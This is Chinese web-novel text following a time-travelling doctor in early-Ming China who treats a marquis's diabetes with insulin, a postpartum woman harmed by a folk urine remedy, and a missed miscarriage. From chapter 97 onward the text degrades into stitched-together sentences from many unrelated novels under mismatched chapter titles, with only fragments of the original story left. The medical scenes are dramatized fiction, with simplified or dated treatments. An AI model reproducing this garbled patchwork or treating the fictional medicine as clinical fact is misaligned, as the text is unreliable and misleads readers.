傅忠眼睛尖,一眼就瞧见吴祯脚上缠着的布条,脱口而出:“侯爷,您这脚咋了?”
吴祯皱眉:“小伤。”
傅忠是个直肠子,凑近看了看,大惊小怪道:“这都烂了还小伤?马大夫,您快给瞧瞧!”
马淳无奈,只好请众人进屋。
诊室里,吴祯脱下靴子,露出溃烂的脚趾。
伤口边缘泛着青紫色,皮肤干裂,渗着脓血。
傅忠倒吸一口凉气:“侯爷,您这脚……”
吴祯脸色不太好看:“征战多年,小伤不断,这次不知怎的,总不见好。”
马淳取出血糖仪:“侯爷,我得先测一下您的血糖。”
“血糖?”吴祯疑惑。
傅忠凑过来:“啥叫血糖?”
马淳一边准备采血针,一边解释:“就是血里的糖分。侯爷这病叫消渴症,血里糖分太高,伤口才难愈合。”
傅忠瞪大眼睛:“血里还能有糖?那侯爷撒的尿是不是甜的?”
吴祯脸一黑:“傅忠!”
傅忠缩了缩脖子,讪笑道:“好奇嘛……”
马淳没理他,采了吴祯指尖一滴血,滴在试纸上。
血糖仪很快显示数值:14.8mmol/L。正常该在6以下。
“果然。”马淳放下仪器,“侯爷,您这病得赶紧治。”
傅忠扒着桌沿探头:“这小盒子会算数?”
“西域传来的机关术。”马淳面不改色地胡诌,转身取出个琉璃瓶,“侯爷的胰……呃,脾脏运化功能受损,需要补充胰岛素。”
吴祯听得云里雾里:“姨什么?”
“就像炒肝胰的师傅罢工了。”傅忠突然福至心灵,“我懂了!侯爷身子里的炒糖师傅不干活,血就变甜了对不对?”
马淳差点被口水呛住,这粗胚竟歪打正着。
他顺势解释:“差不多。正常人吃进的糖分会被胰岛素搬运到该去的地方,但消渴症患者……”
“搬运工不够!”傅忠拍大腿,“难怪侯爷瘦了,糖都尿出去了嘛!”
吴祯老脸通红,柳莹儿羞得躲到屏风后。
徐妙云实在看不下去,揪着傅忠的耳朵拎到一旁:“你当是在菜市口说书呢?”
傅忠又挤回来:“为什么不能吃甜的?”
“就像蜂巢坏了,蜜会漏得到处都是。”马淳把蜂蜜罐倒扣,黏稠的糖浆糊了满桌,“现在侯爷的血就是这样,糖分泛滥会损伤血管。”
吴祯盯着桌上狼藉,若有所思:“所以老夫脚上的伤总不好……”
“高血糖会堵塞细小经络。”马淳展开足部经络图,“就像河道被淤泥堵住,下游的田地就会枯死。”
傅让突然举手:“我爹去年泡的鹿鞭酒长白毛,是不是也这个道理?”
满堂寂静。
柳莹儿红着脸跺脚,徐妙云扶额叹气。
吴祯的嘴角抽了抽,倒是马淳镇定自若:“差不多,都是糖分过剩滋生病菌。”
傅忠突然凑过来:“马兄,你刚说的那个胰什么素,能不能再讲讲?”
马淳取出个琉璃小瓶:“这叫胰岛素,正常人身体里会自己产生。它就像……”
“像漕帮的搬运工!”傅忠抢着说,“把血里的糖分搬到该去的地方!”
马淳点头:“差不多。但消渴症患者的胰腺……就是产生胰岛素的器官……出了问题。”
他拿起两个茶杯演示,“好比这个杯子装糖,那个装胰岛素。正常人喝碗粥,胰腺就会按量分泌胰岛素。”
接着他突然把胰岛素杯子倾斜,“但患者的胰腺要么分泌不足,要么分泌的胰岛素不管用。”
吴祯皱眉:“所以老夫要补这个胰……”
“胰岛素!能降血糖。”马淳打开琉璃瓶,取出针管,“这是人工提取的胰岛素,从猪胰脏中提取的。”
傅忠瞪大眼睛:“猪的胰脏?那岂不是……”
“经过特殊处理。”马淳熟练地抽取药液,“和人的胰岛素几乎一样。”他掀起吴祯的衣袖,“侯爷,我示范一次注射。”
针尖刺入皮肤时,吴祯的肌肉绷紧了。
马淳缓缓推入药液:“早晚各一次,剂量按血糖值调整。”
傅忠凑得极近:“这针管看着吓人,其实疼不疼?”
“比蚊叮稍重些。”马淳拔出针头,用酒精棉按住针眼。
他取出个冰盒,“剩下的胰岛素要这样冷藏保存,否则会失效。您用完了来我这取就行。”
徐妙云端来温水:“侯爷先喝些水。”
吴祯接过水碗,忽然问:“要打多久?”
“可能终身需要。”马淳实话实说,“但配合饮食控制,剂量会逐渐减少。”他拿出食物模型,“粳米换成莜麦,羊肉改吃鸭肉,水果只选酸味的。”
傅忠抓起模型里的糖糕:“这个绝对不能吃?”
“偶尔一小块可以。”马淳拍开他的手,“但要测过血糖才行。”
他转向吴祯,“我教您测血糖和注射,三日后我再去府上复查。”
傅让突然举手:“马大哥,我爹最近也总起夜……”
“闭嘴!”傅忠一把捂住弟弟的嘴,“爹那是喝多了!”
吴祯抚摸着针管,笑了:“想不到老夫征战半生,最后要学这绣花功夫。”
他模仿马淳的动作比划,“推药时要慢,对吧?”
马淳点头:“侯爷学得快。”他又取出几支针管,“这些是备用器械,针头用一次就要换。”
徐妙云递上绢帕:“我缝了个装器械的布袋,侯爷带着方便。”
傅忠突然正经起来:“马兄,这病除了打针,真没别的法子了?”
“有。”马淳从药柜取出一包干草,“这是翻白草,辅助降血糖。但只能缓解症状,根治不了。”
他严肃地看着吴祯,“胰岛素必须按时打,否则脚伤会恶化。”
吴祯郑重点头:“老夫省得。”他忽然压低声音,“马大夫,此事……”
“不会外传。”马淳了然,“就说侯爷是湿毒内蕴,需要定期拔毒。”
傅忠拍胸脯:“我嘴最严了!”
徐妙云轻咳一声,傅忠立刻改口:“当然侯爷的事我半个字都不会说!”
众人一直逗留到下午,马淳已经教会吴祯自测血糖,再次测了一遍。
试纸变色后,老人眯着眼对比色卡:“这个数……”
“13.2,还是偏高。”马淳记录数据,“明天早饭前再测一次。”
他收拾着器械,“刚开始会不习惯,半个月后就顺手了。”
吴祯忽然拱手:“马大夫费心了。”
马淳连忙还礼:“分内之事。”
他犹豫片刻,“侯爷这病虽不能根治,但控制得好,与常人无异。”
吴祯眼中闪过亮光,握紧了针管:“好!”
傅忠凑过来:“侯爷,我明日带莜麦饼去看您!”
吴祯笑骂:“你小子别是来看笑话的!”
众人哈哈大笑……
第95章 产妇喝童子尿排毒?
这天清晨,马淳刚打开医馆的门板,就见一个头发花白的老妇搀着个年轻妇人踉跄走来。
那年轻妇人面色苍白,眼皮浮肿得几乎睁不开,嘴唇泛着不正常的青紫色。
“大夫,快看看我儿媳!”老妇急得直跺脚,“昨儿还好好的,今早起来就成这样了!”
马淳连忙上前搀扶。
年轻妇人浑身滚烫,呼吸急促,手腕肿得像个发面馒头。
他轻轻按压妇人小腿,指印久久不消。
“什么时候开始的症状?”
老妇眼神闪烁:“就、就今早……”
年轻妇人突然弯腰干呕起来,却只吐出几口清水。
她虚弱地摇头:“娘,我、我实在受不住了……”
马淳盯着老妇躲闪的目光,声音沉了下来:“说实话。”
老妇这才支支吾吾道:“昨儿夜里给她喝了点童子尿……就、就变成这样了……”
“什么?”马淳猛地站起身,“月子里的妇人怎么能喝这个?”
老妇从怀里摸出张皱巴巴的黄符,振振有词:“城东王半仙说了,童子尿加符水最能补气血。我花了二十文钱求的方子,还特意找了三岁男童的……”
马淳一把夺过符纸揉碎:“胡闹!这是要出人命的!”
他转身拉开药柜,取出血压计。
老妇瞪大眼睛:“这、这是啥法器?”
“测血压的。”马淳麻利地绑好袖带。
水银柱急速攀升,最终停在180/110的位置。
他心头一紧。
妊高症产后未愈,又遭这么一折腾,随时可能抽搐昏迷。
当下从系统兑换了硫酸镁注射液和便携式心电监护仪。
老妇见他要扎针,突然扑上来阻拦:“不能扎针!王半仙说扎针会漏元气,得用……”
“闭嘴!”马淳罕见地发了火,“再耽搁片刻,你儿媳就没命了!”
针头刺入静脉,药液缓缓推入。
年轻妇人呼吸渐渐平稳,监护仪上的数字开始回落。
马淳抹了把汗,转头质问老妇:“产后第几天了?之前有没有头晕眼花?”
“十、十二天。”老妇嗫嚅着,“前几日是说头疼……”
“血压这么高还敢乱喂偏方?”马淳气得手抖,“知不知道随时会脑出血?”
老妇被骂得缩起脖子,却还小声嘀咕:“祖祖辈辈都这么过来的……”
马淳懒得再争辩,取尿杯递给年轻妇人:“留个尿样。”
检测试纸浸入尿液后迅速变红。
马淳看着结果,眉头拧成疙瘩。蛋白三个加号,肾功能已经受损。
“得住院观察。”他拉开屏风,露出里间的病床,“至少三天不能下床。”
老妇一听就急了:“那怎么行!月子婆不能挪窝,会招邪风的!”
“现在不下床,以后就永远不用下了。”马淳冷冷道,“您要是真疼儿媳,就去灶房熬点小米粥,别放盐。”
等老妇不情不愿地出去,年轻妇人突然抓住马淳的袖口,眼泪簌簌往下掉:“大夫,我、我是不是要死了?”
“别怕。”马淳放柔声音,“你这是妊娠高血压没调养好,加上乱喝脏水加重了病情。按时用药就能好。”
他取出两片硝苯地平:“含在舌头底下,能快速降压。”
这时徐妙云抱着晒好的草药进来,见状立刻放下簸箕:“怎么了?”
“产后子痫前期。”马淳简短说明情况,“得用硫酸镁静滴。”
徐妙云会意,利落地准备好输液架。
老妇端着粥碗进来,看见这阵仗又嚷起来:“哎呀这么多药水灌进去,奶水该有毒了!”
“您要是真担心孙子,”徐妙云接过粥碗,语气温和却坚定,“就该让媳妇好好治病。孩子可以暂时喂米汤,但娘亲没了就真没了。”
老妇被这话震住,讪讪地退到墙角。
监护仪规律的“滴滴”声中,马淳仔细记录着尿量。
年轻妇人忽然小声问:“大夫,我还能喂孩子吗?”
“等指标正常了就行。”马淳调整着输液速度,“这几天按时吃药,千万别再信什么偏方。”
老妇突然凑过来,神秘兮兮地问:“那……用童子尿擦身子总行吧?王半仙说……”
“王半仙要是真懂医术,”马淳打断她,“就该知道尿液里有多少细菌。产妇抵抗力差,万一感染是要命的。”
他从系统兑换了本《孕产期保健手册》,指着插图讲解:“看,正规医书都强调清洁卫生。以前那些陋习,不知害了多少产妇。”
老妇将信将疑地翻着书,指着某页惊呼:“这画上的稳婆咋还戴手套?俺们接生都用……”
“所以新生儿死亡率高。”马淳指着统计数据,“您希望孙子健健康康的,对吧?”
这话终于戳中了老妇软肋。
她摸着书上胖娃娃的画像,态度软化下来:“那、那听大夫的……”
傍晚时分,年轻妇人消肿不少。
马淳取下空药瓶,叮嘱道:“今晚我值夜,有不舒服马上说。”
老妇这次没再反对,反而殷勤地递上热毛巾:“大夫擦把脸。”
夜深人静时,马淳在灯下写病历。
徐妙云轻手轻脚进来,放下一杯参茶。
“这婆婆也是好心办坏事。”她望着熟睡的产妇叹道。
马淳摇头:“愚昧比恶意更可怕。明明花二十文钱就能找正经大夫,偏要信什么半仙。”
第二天查房时,年轻妇人已经能坐起来喝粥。
老妇捧着检测报告啧啧称奇:“这纸咋还能显字呢?”
“这叫热敏纸。”马淳指着尿检结果,“您看,蛋白减到一个加号了。”
老妇红了眼眶:“要是早遇上您……俺大儿媳也不至于……”
马淳语气放缓了一点:“以后有不舒服,直接来医馆。那些符水香灰,真不如一碗红糖水实在。”
出院那天,老妇掏出个红布包非要塞给马淳。
打开一看,是晒干的桂圆。
“自家树上结的,补气血最好。”她不好意思地搓着手,“比、比童子尿强……”
马淳笑着收下,又包了几包降压药:“记住,按时吃药,一个月后复查。”
望着婆媳俩远去的背影,徐妙云忽然轻笑:“你猜王半仙会不会找上门?”
“来了正好。”马淳活动着酸痛的脖颈,“我正想问问,他那道符能不能治牢狱之灾。”
……
第96章 胎儿已经停止发育了!
刚送走那对婆媳,医馆门口就传来熟悉的脚步声。
傅忠搀着妻子胡氏小心翼翼地跨过门槛,胡氏腹部已经微微隆起。
“马大夫!”傅忠嗓门洪亮,“快给我媳妇看看!”
马淳放下手中的药碾:“怎么了?”
傅忠左右张望,见医馆没旁人,立刻凑上前压低声音:“我媳妇今早起来说腰疼,我寻思着不对劲,赶紧带她来瞧瞧。”
胡氏羞得满脸通红。
马淳示意胡氏坐下:“怀孕三个月腰疼很正常,胎儿发育会压迫腰椎。”
“不是那种疼。”傅忠急得抓耳挠腮,“是……是那个之后疼的。”
马淳瞬间明白过来,轻咳一声:“孕期激素变化确实会……不过还是检查一下稳妥。”
他取出脉枕,胡氏将手腕放上。三指搭脉片刻,马淳眉头突然皱紧。
“不对。”他猛地抬头,“最近有没有见红?”
胡氏摇头:“没有,就是腰酸得厉害。”
马淳立刻起身:“躺到诊床上去,我要检查。”
傅忠脸色刷地白了:“马兄,你别吓我。”
马淳没说话,取出胎心仪。
冰凉的探头贴上胡氏腹部,仪器却迟迟没有传来应有的心跳声。
“胎心呢?”傅忠凑过来,“怎么没动静?”
马淳换了个位置,依然没有反应。
他深吸一口气:“傅忠,你媳妇得马上做B超。”
“啥叫B超?”傅忠声音开始发抖。
马淳已经推来了机器:“能看见肚子里的情况。”
屏幕上模糊的图像让傅忠瞪大眼睛。
马淳调整探头角度,画面逐渐清晰——本该活跃的胎儿静静蜷缩着,没有一丝动静。
“胎停育。”马淳声音沉重,“胎儿已经停止发育了。”
胡氏猛地抓住丈夫的手:“什么意思?”
“就是……”马淳斟酌着用词,“孩子没能继续长大。”
傅忠踉跄后退两步,撞翻了药柜上的瓷瓶。
瓷瓶落地粉碎的声音在寂静的医馆里格外刺耳。
“不可能!”傅忠突然大吼,“前天她还吐得厉害,孩子怎么会……”
马淳指着屏幕:“你看这里,本该跳动的心脏现在静止了。根据大小判断,停止发育至少五天了。”
胡氏突然捂住肚子:“那我现在感觉到的动是……”
“肠蠕动。”马淳轻声解释,“胎停后母体有时会产生错觉。”
傅忠一拳砸在墙上,指节渗出血丝:“都怪我!早知道就不该……”
胡氏拉住丈夫的袖子,眼泪无声滑落:“不关你的事。”
马淳取出消毒器械:“现在必须尽快手术,否则对母体危害很大。”
“手术?”傅忠猛地抬头,“你要切开她肚子?”
“不是剖腹。”马淳解释,“是清宫术,把已经停止发育的胚胎取出来。”
胡氏浑身发抖:“会很疼吗?”
“我会用麻药。”马淳准备好器械,“睡一觉就好了。”
傅忠抓住马淳的手腕:“马兄,你再查查,万一弄错了呢?”
马淳叹了口气,再次检查。结果依然不变。
“准备手术吧。”马淳对徐妙云使了个眼色,“妙云,去烧热水。”
手术室里,马淳给胡氏注射了麻醉剂。傅忠在门外来回踱步,像头困兽。
徐妙云端着热水进来,见状安慰道:“别太担心,马淳有把握。”
“我怎么能不担心!”傅忠声音沙哑,“她那么期待这个孩子……”
一个时辰后,手术结束。
马淳摘下口罩,对焦急等待的傅忠点点头:“很顺利,休息半个月就能恢复。”
傅忠冲进手术室,看到妻子苍白的脸,眼圈立刻红了。
胡氏虚弱地睁开眼:“孩子……真的没了吗?”
马淳沉默地点点头。
傅忠转身往外冲:“我去宰了那个庸医!上个月还说一切正常!”
马淳一把拽住他:“冷静点!胎停育原因很多,不一定是大夫的问题。”
“那是什么原因?”傅忠吼道。
“可能是胚胎本身问题,也可能是母体环境。”马淳解释,“等胡氏恢复些,我再详细检查。”
胡氏轻声问:“以后还能有孩子吗?”
“当然可以。”马淳肯定地说,“这次是意外,不影响下次怀孕。”
傅忠蹲在妻子床边,声音哽咽:“咱们不生了,太遭罪了。”
胡氏摇摇头,手指轻轻抚过丈夫的脸:“傻话,咱们还要给傅家开枝散叶呢。”
马淳悄悄退出房间,给夫妻俩留出空间。
院子里,徐妙云正在晾晒纱布。
“怎么样?”她小声问。
马淳摇摇头:“胚胎已经有些溶解了,幸好发现及时。”
徐妙云叹了口气:“傅忠那个性子,怕是很难接受。”
正说着,傅忠红着眼睛走出来:“马兄,我媳妇什么时候能回家?”
“观察两天。”马淳说,“得预防感染。”
傅忠重重坐在石凳上,双手抱头:“早知道就该听你的,三个月内不该同房。”
“不一定是这个原因。”马淳拍拍他肩膀,“别自责。”
傅忠突然抬头:“马兄,你实话告诉我,是不是因为我那天喝多了?”
“酒精确实有影响,但不是决定性因素。”马淳斟酌着说,“等胡氏养好身体,你们可以一起做个全面检查。”
傅忠抹了把脸:“检查!必须检查!花多少钱都行!”
傍晚时分,马淳去病房查看。
胡氏已经睡着了,傅忠守在床边寸步不离。
“喝点水吧。”马淳递过茶杯。
傅忠接过杯子,突然说:“马兄,谢谢你。”
“分内之事。”
“不,我是谢你没瞒着我们。”傅忠声音低沉,“换别的大夫,可能就随便开点安胎药糊弄过去。”
马淳摇摇头:“医者本分。”
傅忠盯着熟睡的妻子,轻声说:“她醒来后一直安慰我,说孩子还会有的。明明最难过的是她……”
马淳不知该如何接话,只能默默站在一旁。
夜色渐深,医馆安静下来。马淳在灯下写着病历,徐妙云端来宵夜。
“傅忠睡了吗?”她小声问。
马淳摇头:“还在守着。”
徐妙云叹了口气:“希望他们能早日走出来。”
马淳合上病历本:“时间会治愈一切。”
……
第97章 害人寺用铅汞当佛祖显灵的神相!
接下来的半个月,马淳和徐妙云又接连接诊了四例胎停育的孕妇。
这些孕妇的症状几乎一模一样……怀孕两三个月,突然腰酸腹痛,随后胎心消失。
更诡异的是,这些孕妇原本身体都很健康,没有任何流产史或慢性病。
“爱华,你怎么就只关心咱爹咱妈?咱爹咱妈惦记你,还不如我惦记你来的多呢。
“他跟我说,他最近也没怎么玩火,就是那天跟我一块儿过来这找你。
她躺在躺椅上边喝酒,边晒着秋日暖阳,不知不觉间,一壶焚心焰就被她喝光了。
现到了总部,看到七长老这样的人,才发现,事情远没有她想像的那么简单。
从前的他的确不知道何为恐惧,可是这一次凤夕诺遇险,让他第一次感觉到了这样的感觉,那是一种似乎能吞噬一切的力量。
“对,我的徒弟他武功分分钟把你们打趴下,我也可以。”东方颖琳说着做出了一个要打架的姿势。
“工匠之神”西格丽塔那里。此时,西格丽塔依旧在打造装备,没有停息的意思。
结果第二天,天都大亮了,她还在睡,孩子们看妈妈还在睡,知道她累,也没打扰她,穿好衣服,就在自己屋里写作业,等着她一起去姥姥那边。
天涯在一旁听着他们对话,觉得江夜还没有完全领会他们门主的想法。
凤夕诺很久没看到七尊如此严厉的模样了,也觉得这次自己太欠考虑了。
“呵,好呀。不过话说回来,比赛过半,能进入第四轮的棋手实力比前三轮不可同日而语,你有没有面对苦战的心理准备?”赵林昌笑着问道。
当时萧何就犯了汉高祖的忌讳,险些被除去,好在萧何最后接受建议,开始自污,大肆在民间夺田,还放高利贷,自坏名誉,这才使汉高祖疑心尽去。
事情有了进展,方言却不敢有一丝大意,刚刚让一旁的夕颜又一次探查其中,那暗河之下的幽暗之处,依旧无法探清究竟。
初级主动技能:盾击。以盾牌为武器,将半径范围内的所有敌人震退。冷却时间:1分钟。学习条件:通用。
等到他们从全羊馆中出来,已经是华灯初上,整个边城都笼罩上了五彩斑斓的灯光,很漂亮。何潇潇很激动,再次拿着相机咔嚓咔嚓的一顿拍。然后,她又搂着霍青,非要让张坤用手机给拍几张。
“难说,虽说祖祖辈辈都没有听闻过有人能够探入其中,但也难说有前辈高人真能感应些许,毕竟我们天星宗一脉并没有哪位老祖真正感悟出阵法一道的本源。”看着那边方言行云流水般的动作,蚀空道人缓缓说道。
这场赛事不同于大多数的比试,它没有太多的条条框框,也没有类似初试复试这样啰嗦的环节。
楚无礼又是十张三品符咒出手,他做事十分麻利,王玥也有意让功劳点给他,要听长辈的安排照顾楚无礼一下。
“试试看就知道了。”凌仙眉心现花纹,绝世仙影浮现,让其神威暴涨,战力飙升。
如果对方的守护之力太强,楚无礼的天道之力又不够多,那就不行了。所以,天道之力尽管无与伦比的强大,却又不是万能的,也有局限之处。
第98章 集体铅中毒!
“什么叫我欺人太甚?我欺负过你吗?你有资格让我欺负吗?”郝强一脸的不以为然。
龙秋只是不说话,慢悠悠的走到了宿舍楼下。楼下冷清,只有两对情侣在暗光处搂搂抱抱,难舍难分。
“不用依靠车子或者飞机,评级自已的力量就可以随心移动。”青蛙子说。
而她的术更是先于话语已然完成——未来肩膀上的蛞蝓带着的那双熊红的三勾玉眼睛,在这一瞬间双双化成了四角风车的形状,而后缓缓地旋转了起来。
设伏的关键因素,就是一定要避过对方的斥候。好在【纹身侠】这个队伍的人也不多,先行探路的斥候仅有五人,而且还是分散开来的。这种分散探路的模式,一般是对付怪物的。
“我真的没事情啦,从上面掉下来的时候是杰克保护了我。”公主说。
“可惜……目前为止,我并不能消失。”六道仙人说道,因为在这个世界上似乎还有着辉夜的棋子在活动,而为了始终守护忍界,六道仙人必须一直存在下去。
黑灰色的身躯上裹着不明的黑色坚甲,数条极光带般的青色纹路蜿蜒着通遍全身,双腕和双膝都长着弯曲且锋利的银色甲刃,浑身散发着恐怖如斯的强势气息。
老刘就是个好命的,费尽心思拿到了一条渠道——负责给山里送菜。每三天一送,每月一结,已经送了一个月。
这两人光天化日之下毫无自觉地秀起了恩爱,南残音与苏沐雪看在眼里内心都不是滋味。
可是,胡斐没有想到,龙腾和天狐斐之间的过节,居然是那么大,令天狐斐利用激将法,将龙腾赶上绝路。
叶沫实在是无聊的要死,也不管自己此刻“逃狱”的身份,就这么披了一件外套,将一顶帽子盖脑袋上,出门溜达。
突然想起什么似得,奔出了屋子,任由雨水淋湿了她的衣衫发丝,她只是努力的向前跑着。
纯粹的皮肉,居然在牛力全力一击一下没有砍进去,这对牛力的打击颇大,众人更是一阵心惊,这个怪物要是真若韩立所说,仅仅是石冠中的存在的一口尸气所化,那么未免有些太可怕了。
自己这身子骨确实太过没用,只是这样动一动,到了夜里便浑身又冷又疼,又没药材养着,哪天倒下了也说不定。
带领孩子们又一起给荷花种子浇了水,水位并不算是很高,保证芽儿会露出在水面上。
若是说可以隐忍,怕是没人比的了魅轻离,他脸上仍是勾起淡淡的笑意,或许,即便是死到临头,也没有什么可以把他的这幅优雅冲垮。
剑泉看那美若天仙的皇后娘娘,不禁心里一阵悸动,看得出来,她果然是没有生什么病,相反,反而好像比以前更加精神了。
“咦……一直躲着我倒没看出来,原来这个姑娘这么水灵……嘿嘿”石妖一声淫笑,然后慢慢朝着这两人靠近。
现在,那个恶魔正在肆无忌惮地追杀神的子民,而他这个牧首,却是无能为力。
当李炜走入里面的偏殿当中的时候,一眼的就看到了寒冰和烈焰两人在如今正在喝着美酒,一股浓浓的酒香,却是在这一处偏殿当中散发着。
没有多想什么,沈经纬几乎是第一时间拨通了那个早已是设定好的电话号码。
这也是为什么他会将对那些对赌的人监督管理费定在对赌总额的百分之十这么高的一个份额上了。
几个闪身,已经来到战局中央,看着慕容远,此时的他已经杀红了眼,可是身上也满是伤痕,血水已经将衣服染成了红色,至于慕容宏和其他几人也是气喘吁吁,身上更是伤痕累累。
说起来被人用手电筒指着还说这话确实感觉怪怪的,我下意识的背过手拍了拍林巧曼的身子,示意她先走。
有那么一瞬间,上官皓焱以为颜倾城是要行刺他的,扬起一抹妖娆的笑容,上官皓焱慵懒的开了口。
如今的杀神,和之前的不一样,多出一对刀锋爪子,锋利无比,不管是巨石,亦或者是钢板,在杀神面前,就是豆腐一般。
看到林巧曼就这样走了王佳慈张了张嘴,但还是没有发出声音来。
“放了她!”楚风还是重复着那三个字,根本没有回答妖皇的意思,更不要说吃下百花散了。
“前辈,刚才如有得罪,还请原谅,在下真不是故意的!”此时的金无敌,脸上那里还有什么老大架子,先求饶吧,让对方原谅自己才是正经事。
“和你有什么关系,是我一时大意,没看住,它才伤了你跑的,别乱说。”张成凯一脸的深沉,警告的瞪了刘庆春一眼。
慕容澈抚了抚眉心,问林采薇苏蔓离开的时间,听到她昨晚连夜便离开了这里,心头溢出浓浓苦涩。
淦暮尘脑子闪过一连串的信息,一神三郎甘九娘,这是丹凤城的三大实力,没想到甘九娘和神医府邸就隔着一条街。
坐在沙发上的慕容澈嘴角扯起一抹狡黠的笑意,却迟迟没有开口。
本想开始新的人生,而那个令她痛不欲生的男人,却再度出现,再一次打断了她的生活。
现在他已经掌握好几张配方,唯一阻碍他变强的恐怕就是材料,毕竟这些材料都非常罕见,而且一般人估计很难弄到手。
众人看到温雅要做蛋炒饭,都不由得开始说了起来,特别是唐沐,调侃温雅的很厉害。
张森写了一个晚上,最后精神奕奕的进入镜界,等待拉丝蒂奥的到来。
大半夜从空调房里面来到这里的理由居然是给沈重山送两百块钱,说实话,管风行觉得沈重山是真的疯了,而自己肯定也是疯的没药救,提出要求的人傻,自己这个照办的似乎也没有聪明到哪里去。
凌天集团明显准备不足,在杀进去几亿现金后,现金链直接断档,凌天集团有钱,但是现金是需要调集和准备的,就算是银行,需要提现也要提前做好准备,而凌天集团却毫无准备。
第99章砒霜掉米里,不舍得扔,毒死了丈夫
“站住!”衙役大喝。
和尚们吓得僵在原地。马淳快步上前,从香炉中抓了一把香灰。试纸检测显示,含铅量严重超标。
“带走!”衙役一挥手,手下立刻将和尚们捆了起来。
听到熊大的话,王炎点了点头,他明白熊大一定知道什么,但现在却不是说这些的时候。
除非是灾厄之门那种大型要塞,否则根本不可能有这么大规模的兵团出动。
懒得听那药仆废话,林洛没等他说完便直接飞起一脚踢在药仆的肚子上。
月光城距离曼陀罗城距离不是很近,林洛花了一个月的时间才到达了曼陀罗城。
四人贴着墙壁摸索了起来,有个别字能看的清楚,但是还是连不成句子。
白无痕一席话掷地有声,铿锵有力,说到令人没有丝毫质疑,甚至连雪族人自己都信以为真了。
“思思……”苏墨动容了,他从来都不怀疑唐思思的决心,只好重重的点了点头。
好友中的曹师傅在五人开黑!不过好像多了一个自己不认识的人…沈冲就坐在自己门口的台阶上选择观看模式。
这里有二十多人,而丹药只有十余颗,也就意味着有些人会得不到丹药。
别看连成玉脸上带着几分笑容,可他说出来的话却带着几分冰渣。
听着纪林熙的喘息声,言离眉头皱了起来:你i就这么不愿意和我多说会儿话?
地龙听罢汤学士的话哈哈一笑,好说好说,改日我地龙一定请汤学士喝酒吃烤鸭好不好。
“装逼东西!看本少不将你碎尸万段!”剑岚痛恨切齿,见林辰竟然无动于衷,完全无视自己的攻势,令他倍感恼火。
“一年了!一年了!这一年我所受的苦终于没白受!我成功了!我终于成功了!哈哈!~我林辰终于回来了!”阔别一年的感觉,强烈刺激着林辰的神经,控制不住情绪,像是疯子般放声狂笑起来。
“大伯娘放心。”李丹若起身曲膝郑重道,梁氏点了下头,低着头转身出了屋。
这一天直热闹到半夜,第二天一早,姜彦明就往礼部报到,这殿试过后,还有无数荣耀要领。
几个警察拿着手电筒站在屋子两侧,风纪和一个警察正把苏煜阳放下来,还有部分警察正在门外待命。
“就是。”何旭也开始怂恿。目光肆无忌惮朝着乔能,似乎忘了才调侃过人家夫妻间的那点事。
“这是什么意思?”聂婉箩不解,到现还没弄懂玫瑰花到底是个什么。
虚影冷笑一声:“蝼蚁有资格知道我是谁吗?想不到,过了几百年,佛门的人依然这么无耻。”说罢,他似乎是要动手了,然而就在这时候,天上忽然间响起了轰隆隆的雷声,一道霹雳闪电陡然间落了下来。
青圭介暂时还没办法得出结论,但这种灵性的增长规律,其实贴合了“灵性事物”能帮助普通人增加灵性的规律。
晋阳娥那次有没再反驳,曾经这个十一岁的多年,你还没记是清具体七官,但却始终记得,我生得很好看。
此刻的伦敦,街道上依旧平静如初,仿佛刚刚什么事都没有发生一样。
特别来说,能在官学求学的生员少会是寒门生员,杨坚低门看是下那种公家教育,我们更少会选择对子弟退行精英教育。
第100章偏方治大病?生吞活蝌蚪!?
“送官!这是杀人!”
“先打死这老虔婆!我爹要是有个三长两短……”
“平日抠门就算了,这下害死自家老头,还要拉我们垫背!”
沧澜江乃昭国有名的大江,以弯弯曲曲的形状横跨数座城,解决江边人的农作物的灌溉问题,还给江边人提供丰富的鱼虾。
裴木然的眼泪刷的一下就掉了下来,本来今天心里已经很委屈了,老哥还来说这个。
她的手还来不及抽开,就被男人一把握住,下一秒,她就被他扯着跌坐在他腿上,担心压到他胸口上的伤,她甚至不敢挣扎。
“年轻人,我这么老远跑来,不是听你忽悠的,如果没有十全的把握,我不会亲自过来找你要人,回答我,我那孙儿在何处?”老头子又强硬的说道。
三人是应曙国皇帝的邀请前来为其占卜的,身份是运泰山的三大名道。
周围人还没反应过来无名如此暴躁的反应,就见两个身影自己厮打在一起,不过这厮打的方式却是有点奇怪。
倒是慕凌川看百里夏,总觉得她神色有几分不对劲,也不知道是疲惫还是虚弱。
卫安宁回过神来,用力推开他,这人简直越来越肆无忌惮了,大庭广众之下就敢这样对她,要是被宫父知道,她忍不住打了个寒噤。
听了没有多长时间,实在是受不了了,直接挂断电话,然后下车走进御湾别墅。
格瓦不知何故,嘴角的笑容柔和许多,那是一种被人认同的感觉,妙,而不觉得讨厌。
现在看着唐煌脸上有这笑容,那唐煌肯定是对自己的存在没有任何芥蒂的,所以此时唐玲的问话渐渐显得大胆起来,微微嘟着嘴的模样道。
他很清楚,大楚公主就是再不得宠,那也是那若王子名正言顺的王子妃,如果那若王子继位,她就是突厥日后的可贺敦。
格林此时却也没有心情理会这些冒险者了,顺着绳梯,慢慢地往浮空岛上爬。
天下熙熙皆为利来天下攘攘皆为利往,没有永远的朋友,也没有永远的敌人。
一个个巨大的金色卍字符号自胜谛法主身上飞出,同时落向大地,碾压那些异变的僧人。
于东阳闷哼一声,拔出手中宝剑,正要自尽,后面却是传来一阵马蹄声,还有脚步声。
有时候,你想吹牛逼时,偏偏吹不成,可是刚刚放弃吹牛逼的念头,这机会就来了。
李红这一年来在美国住在地下陋居,差点被人强干,又为了绿卡嫁给老店主,结果钱财都被卷逃,生活极度辛酸,由于贫困所迫,生病住在阴暗潮湿的地下室里,简直像个牢房,一张结婚照却清晰的挂在墙上。
“放!”他一声大喝道,鸟铳喷出烈焰,特别是三眼铳那烈焰三团合在一起非常绚丽,像是一大团火焰一般,发出一声声爆响。
回到山上,众人顾不上休息,赶到杨志的住处,山寨没有出战的头领都在,安道全正在为杨志治伤。
若是中午,会有客人点简餐,下午的话,有些客人会坐一下午。早上开店到晚上闭店,营业额的高峰期主要集中在早晨和下午。
第101章锯断箭杆留箭头在肉里?
“八成也喂着虫子。”马淳头也不抬地写清单,“让他明日来趟医馆。”
徐妙云端来汤药,老周正好转醒。
他迷迷糊糊看见酒坛里的虫子,吓得一骨碌滚下竹榻。
“这、这是我肚子里的?”
布拉格广场表现的有些紧张,显然不太适应这种见面,看着唐展的眼光也有些躲避。
只要她还活着,那我就能凭借参果长明灯之类的手段帮她续命。可如果她死了,那我可就什么忙都帮不上了。
